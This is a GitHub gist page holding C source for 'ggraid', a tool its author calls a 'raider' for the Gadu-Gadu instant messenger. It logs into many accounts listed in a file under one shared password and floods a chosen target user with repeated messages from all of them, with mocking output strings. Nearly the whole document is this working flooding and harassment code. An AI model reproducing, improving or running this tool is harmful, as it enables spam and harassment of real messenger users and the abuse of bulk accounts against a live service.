Created
June 5, 2015 11:26
-
-
Save borewicz/da6f50fdfdcbfc3e0118 to your computer and use it in GitHub Desktop.
raider for gadu-gadu
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define VERSION "0.6" | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <errno.h> | |
#include "libgadu.h" | |
#include "string.h" | |
int main(int argc, char *argv[]) | |
{ | |
if (argc < 5) | |
{ | |
fprintf(stderr, "ggraid %s\nusage: ggraid <file> <pass> <gimbus> <sinks> [-I <count>]\n", VERSION); | |
return 1; | |
} | |
char znak; | |
int count = 0, i = 0, count_w = 1; | |
FILE *f; | |
if ((argc == 7) && (strcmp("-I", argv[5]) == 0)) | |
count_w = atoi(argv[6]); | |
if (!(f = fopen(argv[1], "rt"))) | |
{ | |
printf("no logins, GTFO xD"); | |
return 1; | |
} | |
while ((znak = getc(f)) != EOF) | |
if (znak == '\n') ++count; | |
fseek(f, 0, 0); | |
int numery[count]; | |
while(!feof(f)) | |
{ | |
fscanf(f,"%d",&numery[i]); | |
i++; | |
} | |
fclose (f); | |
struct gg_session *sess[count]; | |
struct gg_login_params p; | |
memset(&p, 0, sizeof(p)); | |
p.password = argv[2]; | |
p.encoding = GG_ENCODING_UTF8; | |
for (int i = 0; i < count; i++) | |
{ | |
p.uin = numery[i]; | |
if (!(sess[i] = gg_login(&p))) | |
{ | |
printf("%d: not connecting (%s)\n", numery[i], strerror(errno)); | |
gg_free_session(sess[i]); | |
//return 1; | |
} | |
printf("%d: bagietas are coming.\n", numery[i]); | |
if (gg_notify(sess[i], NULL, 0) == -1) | |
{ | |
//printf("%d: fail : %s\n", numery[i], strerror(errno)); | |
//gg_free_session(sess[i]); | |
//return 1; | |
} | |
} | |
printf("press enter and shit bricks", count); | |
getchar(); | |
// signal(SIGPIPE, SIG_IGN); no SIGPIPE on Windows | |
for (int j = 0; j < count_w; j++) | |
{ | |
for (int i = 0; i < count; i++) | |
{ | |
gg_ping(sess[i]); | |
if (gg_send_message(sess[i], GG_CLASS_ACK, atoi(argv[3]), (unsigned char*)argv[4]) != -1) | |
printf("[%d] %d : brick was shated.\n", j+1, numery[i]); | |
else printf("[%d] %d : fail : %s\n", numery[i], strerror(errno)); | |
/* | |
printf("[%d] %d : fail : %s\n", numery[i], strerror(errno)); | |
gg_free_session(sess[i]); | |
return 1; | |
for n00bs, it closes app when one session doesn't response | |
*/ | |
} | |
} | |
for (int i = 0; i < count; i++) | |
{ | |
gg_logoff(sess[i]); | |
gg_free_session(sess[i]); | |
} | |
printf("bricks were shat, bagietas are coming xD\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment